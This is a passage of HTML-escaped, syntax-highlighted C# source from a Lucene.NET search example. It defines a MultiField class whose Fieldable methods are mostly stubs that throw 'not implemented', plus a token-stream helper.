&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;] [id: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;] [text_content: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;105&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;106&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;107&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;108&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;112&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MultiField&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;113&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;115&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;117&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;118&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;119&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;120&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;121&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;122&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;123&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;124&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;125&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fieldable Members&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;126&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;127&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetBoost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;float&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;boost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;129&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//throw new Exception(&amp;#34;The method or operation is not implemented.&amp;#34;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;130&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;131&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;float&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBoost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;133&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;134&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;135&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;136&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;137&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;138&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;139&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;140&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;141&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;142&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StringValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;143&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;144&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;145&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//StringBuilder sb = new StringBuilder();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;146&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;147&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;148&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    sb.AppendLine(f.StringValue());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;149&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;150&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return sb.ToString();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;151&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;152&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;153&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ReaderValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;154&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;155&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;156&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//var combined = default(TextReader);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;157&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;158&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;159&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    combined = &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;160&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        combined == default(TextReader) &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;161&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        ? f.ReaderValue() &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;162&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//        : combined.Union(f.ReaderValue());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;163&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;164&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return combined;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;165&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;166&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;167&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;168&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;169&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;170&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//var ms = new MemoryStream();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;171&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;172&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;173&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    var bytes = f.BinaryValue();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;174&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    ms.Write(bytes, 0, 0);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;175&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;176&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;177&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//return ms.ToArray();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;178&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;179&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;180&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStreamValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;181&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;182&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Select&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;183&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;184&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;185&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;186&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 